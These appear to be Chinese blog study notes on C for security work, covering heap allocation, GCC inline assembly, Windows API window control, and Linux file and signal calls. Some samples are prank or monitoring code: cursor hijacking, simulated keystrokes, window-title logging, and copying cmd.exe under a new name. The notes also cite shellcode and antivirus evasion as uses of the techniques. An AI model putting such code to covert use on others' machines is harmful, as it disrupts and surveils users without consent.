p:0x5661d011
p1:0x56a30160

*/

可见,程序运行时候栈底位于0x5661f000,而fmt和p这两个字符串分别存放在栈上的0x5661d0080x5661d00f和0x5661d0110x5661d015。

堆空间的分配

malloc(int),如果分配成功则返回分配好的地址,所以用一个指针去接收这个地址。输入参数指定分配的大小,单位是字节。

例:

char *p=(char *)malloc(100);

分配100个字节,分配的时候指定类型为char *类型,所以可以存储100个字符。

堆内存泄漏

如果在堆内存申请之后未进行安全释放,则有可能会造成内存泄漏问题。

Linux系统中的堆管理

本次复习重点不在研究堆管理机制,此部分内容留待后续再复习。

此部分内容参考资料:
Linux堆内存管理深入分析(上)
Linux堆内存管理深入分析(下)
Understanding glibc malloc
Syscalls used by malloc

参考资料

C语言堆栈入门——堆和栈的区别
堆和栈的理解和区别,C语言堆和栈完全攻略

把这个部分作为单独的环节来复习,是因为内联汇编在安全工程师的C语言编程当中用处是比较广泛的。无论是开发shellcode,调试exp,或是对代码做免杀,做代码虚拟机(虽然我在这方面并不擅长,但是大概看过一些其实现方式)都需要用到内联汇编。

另外对于高手来说,巧妙运用C语言内联汇编,有时是提高程序运行效率的很好的方式,或是在开发程序时,对调试起到一定的帮助。

不过,要想熟悉内联汇编,首先要熟悉汇编。

内联汇编的基本格式

这里以Linux下,GCC作为编译器,AT&T汇编作为内联汇编格式:

简单内联汇编

1
__asm__("汇编语句")

拓展内联汇编

1
2
3
4
5
__asm__ ( 汇编语句
: 输出对象 (可选)
: 输入对象 (可选)
: 可能受影响的寄存器 (可选)
);

简单内联汇编和拓展内联汇编的区别是简单内联汇编只包括指令,而扩展内联汇编包括操作数。

如果希望确保编译器不会在asm内部优化指令,可以在asm后使用关键字volatile。如果程序需要与 ANSI C 兼容,则应该使用 __asm____volatile__,而不是 asm 和 volatile。

内联汇编的常见用法

通过内联汇编把a的值赋给b:

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>

void main(){
int a=10, b;
asm ("movl %1, %%eax;"
"movl %%eax, %0;"
:"=r"(b) /* 输出 */
:"r"(a) /* 输入 */
:"%eax" /* 破坏的寄存器 */
);
printf("%d",b);
}
  • 在本例中,b是输出操作数,由%0引用,a是输入操作数,由%1引用。
  • “r”是操作数的约束,它指定将变量a和b存储在寄存器中。注意,输出操作数约束应该带有一个约束修饰符”=”,指定它是输出操作数。
  • 要在asm内使用寄存器%eax,%eax的前面应该再加一个%,因为asm使用%0、%1等来标识变量。任何带有一个%的数都看作是输入/输出操作数,而不认为是寄存器。
  • 第三个冒号后的修饰寄存器%eax告诉将在asm中修改GCC %eax的值,这样GCC 就不使用该寄存器存储任何其它的值。
  • movl %1, %%eax将a的值移到%eax中, movl %%eax, %0将%eax的内容移到b中。
  • 因为b被指定成输出操作数,因此当asm的执行完成后,它将反映出更新的值。换句话说,对asm内b所做的更改将在asm外反映出来。

需要注意几点第一就是所有寄存器都使用%%作为前缀,第二在这个部分新增了%0%9的占位符来表示用户填充的数据。那么占位符,占的是什么位呢,谁来填充,怎么填充?%0%9的占位符会用输出部分和输入部分指定的寄存器或变量按照出现的顺序依次填充。如果不够填充则会出现编译错误的情况。

invalid 'asm': operand number out of range

https://www.it610.com/article/3871091.htm

使用内联汇编输出HelloWorld

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//编译方式:gcc -m32 -o test test.c
void main(){
char * s="Hello World\n";

asm ( "movl $4, %%eax\n\t" //eax包含系统调用号,调用0x80中断来执行这个函数
"movl $1, %%ebx\n\t" //ebx包含要写入的文件描述符,1表示当前终端
"movl %0, %%ecx\n\t" //ecx表示字符串的开头地址
"movl $12, %%edx\n\t" //edx是要输出的字符长度
"int $0x80\n\t"
: //输出值,为空表示没有输入值
:"m"(s) //输入参数,从%0~%9
: //"%eax", "%ebx", "%ecx", "%edx"
);
}

注意
在编写内联汇编时如果遇到以下报错:

error: invalid 'asm': operand number out of range

很有可能是输入输出的操作数出了问题。说明输入输出操作数超出了范围。

在本例中,如果将输入参数从”m”类型的内存参数,改为”r”类型的寄存器参数,则会报此错。

具体原因尚在研究中。今后在使用时需要多留心参数类型的区别。

另外以上程序再编译时需要采用32位架构,否则会无法运行(因为使用的全都是32位寄存器)。

内联汇编中使用多个输入参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*编译:gcc -m32 -o test test.c */

void main(){
char * s1="Hello";
char * s2="World";
char * s3="\n";

asm volatile (
"pushl %0\n\t"
"call printf\n\t"

"pushl %1\n\t"
"call printf\n\t"

"pushl %2\n\t"
"call printf\n\t"
: //输出值,为空表示没有输入值
:"m"(s1), "m"(s2), "m"(s3)
:
);
}

总结

内联汇编还有很多的用法是需要琢磨的,也会随着对C语言理解的深入以及汇编的水平,探索出越来越高明的用法。

需要注意以下几点:

  1. asm内汇编代码分割符,参考资料[2]中提到说最好采用”\n\t”,不过我在使用”;”也没有遇到bug。
  2. asm的输入输出参数之间采用逗号分割,在汇编代码中调用是从%0开始编号的,从0%~9%
  3. 如果输出值为空,也需要用冒号占位

参考资料

1. Linux 中 x86 的内联汇编
2. 内联汇编基础学习

windows.h是Windows系统中的一个头文件,它包含了其他Windows头文件,这些头文件的某些也包含了其他头文件。这些头文件定义了Windows的所有资料型态、函数调用、资料结构和常数识别字,它们是Windows文件中的一个重要部分。C/C++ 程序在源文件前面写#include <windows.h>即可。

https://blog.csdn.net/qq_32350131/article/details/80343890

Windows系统C语言常用系统函数

FindWindow查找窗口句柄
SendMessage向窗口句柄发送指令

1
2
3
4
5
6
7
8
9
10
11
12
#include <windows.h>

int main(){
HWND window; //定义一个窗口句柄变量,用来储存窗口句柄
/* FindWindow("窗口类名","窗口标题名")
窗口类名和窗口标题名可以只填一个,不填的用NULL填充
*/

window = FindWindow(NULL,"新建文本文档.txt - 记事本"); //查找标题为"新建文本文档.txt - 记事本"的窗口
SendMessage(window,WM_CLOSE,0,0); //向窗口发送关闭指令
return 0;
}

WindowFromPoint通过鼠标点击获得被点击窗口的句柄
GetCursorPos函数获取鼠标指针位置

模拟键盘向窗口发送字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>

int main() {
POINT mouse;
HWND window;
while (1) {
GetCursorPos(&mouse);
window = WindowFromPoint(mouse);
//SendMessage(窗口句柄,消息类型,消息附带内容,消息附带内容)
SendMessage(window,WM_CHAR,'a',0);
Sleep(100);
}
return 0;
}

SetCursorPos函数设置鼠标指针位置

改变鼠标位置(运行后鼠标会飘,不失为一个小恶作剧程序):

1
2
3
4
5
6
7
8
9
10
#include <windows.h>

int main(){
int i;
while(i < 100000){
SetCursorPos(100,100);
i += 1;
}
return 0;
}

ShowWindow函数改变窗口状态,包括隐藏窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <windows.h>
#include <stdio.h>
#include <time.h>

int main(){
HWND window;
window = FindWindow(NULL,"新建文本文档.txt - 记事本");
ShowWindow(window,SW_HIDE); //隐藏窗口
Sleep(5000);
ShowWindow(window,SW_MAXIMIZE); //最大化窗口
Sleep(5000);
ShowWindow(window,SW_MINIMIZE); //最小化窗口
Sleep(5000);
ShowWindow(window,SW_RESTORE); //还原窗口
Sleep(5000);
return 0;
}

GetClientRect函数获取窗口尺寸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>
#include <stdio.h>

int main(){
HWND windows;
while(1){
RECT rectangle; //矩形变量,用于记录矩形四个角的数据
windows=FindWindow(NULL,"新建文本文档.txt - 记事本");
GetClientRect(windows,&rectangle);
printf("%d,%d,%d,%d\n",rectangle.left,rectangle.top,rectangle.right,rectangle.bottom);
Sleep(1000);
}
}

EnumWindow函数枚举遍历可见窗口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <tchar.h>
#include <stdio.h>
#include <windows.h>
// typedef
typedef TCHAR tchar;

// 窗口枚举回调函数
BOOL CALLBACK EnumWinProc( HWND hWnd, LPARAM lParam ){
tchar class_name[64] = { 0 };
tchar window_text[128] = { 0 };

GetClassName(hWnd, class_name, 64);
GetWindowTextA(hWnd,window_text,128);

//如果是可见窗口并且没有父窗口
if( IsWindowVisible(hWnd) && GetParent(hWnd) == NULL ){
printf("hWnd: %u\tClassName: %s\tWindowText: %s\n", hWnd, class_name, window_text);
}

return TRUE;
}

int main(){
EnumWindows(EnumWinProc, NULL);
return 0;
}

创建目录、拷贝文件、删除文件、删除目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>

void main(){
//创建目录
CreateDirectory("C:\\testdir",NULL);
Sleep(3000);

//拷贝文件
CopyFile("C:\\Windows\\System32\\cmd.exe","C:\\testdir\\c.exe",FALSE);
Sleep(3000);

//删除文件
DeleteFile("C:\\testdir\\c.exe");
Sleep(3000);

//删除目录
RemoveDirectory("C:\\testdir");
}

C语言实现监听用户鼠标变动及窗口变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <tchar.h>
#include <stdio.h>
#include <windows.h>

typedef TCHAR tchar;

int main() {
POINT mouse;
HWND window;
HWND last_window;

tchar class_name[64] = { 0 };
tchar window_text[128] = { 0 };

while (1) {
GetCursorPos(&mouse);
window = WindowFromPoint(mouse);


GetClassName(window, class_name, 64);
GetWindowTextA(window,window_text,128);

if(window != last_window){
last_window = window;
printf("窗口句柄: %u\t窗口类: %s\t窗口标题: %s\n", window, class_name, window_text);
}

//SendMessage(窗口句柄,消息类型,消息附带内容,消息附带内容)
//SendMessage(window,WM_CHAR,'a',0);
Sleep(100);
}
return 0;
}

运行结果:

延伸阅读:Windows API实现截图

https://blog.csdn.net/greenapple_shan/article/details/39828313

参考资料

C语言windows.h库的常用函数(一)
C语言windows.h库的常用函数(二)
C语言windows.h库的常用函数(三)
C语言windows.h库的常用函数(四)
Win32 API Docs
Win32 API Docs / Winuser.h / EnumWindows function

本篇内容跳跃且杂乱,后续可能会再次对内容进行整理。

文件系统调用

遍历目录
目录是一种特殊的文件,对其进行操作是,需要用到opendir、readdir、closedir等函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h> //@/usr/include/dirent.h
#include <errno.h>

void list_dir( char * dir_name ){
DIR * dirp;
struct dirent *direntp;
if((dirp=opendir(dir_name)) == NULL ){
fprintf(stderr,"Error Message: %s\n", strerror(errno));
exit(0);
}
//printf("Dir Size:%d\n", dirp -> __size);//这里为什么访问不到dirp的__size?

while((direntp = readdir(dirp)) != NULL){
if( strcmp(".",direntp->d_name) && strcmp("..",direntp->d_name) ){
// d_type的enum见/usr/include/dirent.h
printf( "%d => %s\n", direntp->d_type, direntp -> d_name );
}
}

closedir(dirp);
}


void main(){
list_dir("/tmp");
}

获取文件信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h> //@/usr/include/dirent.h
#include <errno.h>
#include <sys/stat.h>

#define DIRECTORY "/tmp/"


void file_info(char * file){
printf("\t%s\n",file);
struct stat stat_buf;
if( stat(file,&stat_buf) == -1 ){
fprintf(stderr,"Error Message: %s\n", strerror(errno));
exit(0);
}
printf("\tDevice: %d\n", stat_buf.st_dev);
printf("\ti-Nnumber: %d\n", stat_buf.st_ino);
printf("\tSize: %d\n", stat_buf.st_size);
}

void list_dir( char * dir_name ){
DIR * dirp;
struct dirent *direntp;
if((dirp=opendir(dir_name)) == NULL ){
fprintf(stderr,"Error Message: %s\n", strerror(errno));
exit(0);
}
//printf("Dir Size:%d\n", dirp -> __size);//这里为什么访问不到dirp的__size?

while((direntp = readdir(dirp)) != NULL){
if( strcmp(".",direntp->d_name) && strcmp("..",direntp->d_name) ){
// d_type的enum见/usr/include/dirent.h
printf( "%d => %s\n", direntp->d_type, direntp -> d_name );
char file_path[256] = "";
strcat(file_path,DIRECTORY);
strcat(file_path,direntp->d_name);
file_info(file_path);
//使用过后要置空
strcpy(file_path,"");
}
}

closedir(dirp);
}


void main(){
list_dir(DIRECTORY);
}

解析文件描述符

Linux系统中,进程拥有各自打开文件的描述符。通常,文件描述符按生成顺序放在文件描述符表中。Linux内核将文件描述符表用一维数组描述,每个打开的文件占用一个单元,用于存放存取文件的必要信息。

信号系统调用

信号是内核与进程间通信的一种方式。内核为每个进程定义了多种信号和处理方式,用户也可以根据需要对信号的处理方式进行重新定义。

Linux内核共定义了31种非实时的信号,为没种信号定义了处理动作,包括结束进程、写入内核文件、停止进程和忽略等。

Linux系统中的信号 《GNU/Linux C编程》 7.2.1

信号默认处理方式

符号 含义
A 结束进程
B 忽略信号
C 结束进程并写入内核文件
D 停止进程
E 信号不能被捕获
F 信号不能被忽略
G 非POSIX信号

可靠信号与不可靠信号

因为早期历史原因,将信号值小于32的信号称为不可靠信号,32~63之间的信号称为可靠信号,也称为实时信号。

I/O操作模式

基本I/O操作模式

  1. 阻塞模式
  2. 非阻塞模式
  3. 同步方式
  4. 异步方式

文件I/O操作模式

  1. 同步阻塞I/O模式
  2. 同步非阻塞I/O模式
  3. I/O多路复用模式
  4. 信号驱动I/O模式
  5. 异步I/O模式
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×